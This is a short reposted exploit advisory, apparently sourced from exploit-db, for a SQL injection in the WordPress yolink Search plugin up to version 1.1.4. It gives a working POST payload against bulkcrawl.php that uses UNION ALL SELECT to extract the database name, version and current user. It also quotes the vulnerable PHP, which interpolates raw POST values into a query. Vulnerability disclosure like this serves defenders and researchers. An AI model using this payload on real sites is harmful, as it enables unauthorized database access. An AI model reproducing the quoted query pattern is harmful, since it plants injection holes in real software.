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WordPress yolink Search plugin <= 1.1.4 SQL Injection

06/09/2011 by OwnServer


# Exploit Title: WordPress yolink Search plugin < = 1.1.4 SQL Injection Vulnerability # Date: 2011-08-30 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/yolink-search.1.1.4.zip # Version: 1.1.4 (tested) --------------- PoC (POST data) --------------- http://www.site.com/wp-content/plugins/yolink-search/includes/bulkcrawl.php page=-1&from_id=-1 UNION ALL SELECT CONCAT_WS(CHAR(58),database(),version(),current_user()),NULL--%20&batch_size=-1 --------------- Vulnerable code --------------- $post_type_in = array(); if( isset( $_POST['page'] ) ) { $post_type_in[] = '"page"'; } if( isset( $_POST['post'] ) ) { $post_type_in[] = '"post"'; } $post_type_in = '(' . implode(',', $post_type_in) . ')'; $id_from = $_POST['from_id']; $batch_size = $_POST['batch_size']; $post_recs = $wpdb->get_results( $wpdb->prepare( "SELECT ID,GUID FROM $wpdb->posts WHERE post_status='publish' AND post_type IN $post_type_in AND ID > $id_from order by ID asc LIMIT $batch_size" ) ); //misusage of $wpdb->prepare() :)

Fonte: http://www.exploit-db.com/exploits/17757/

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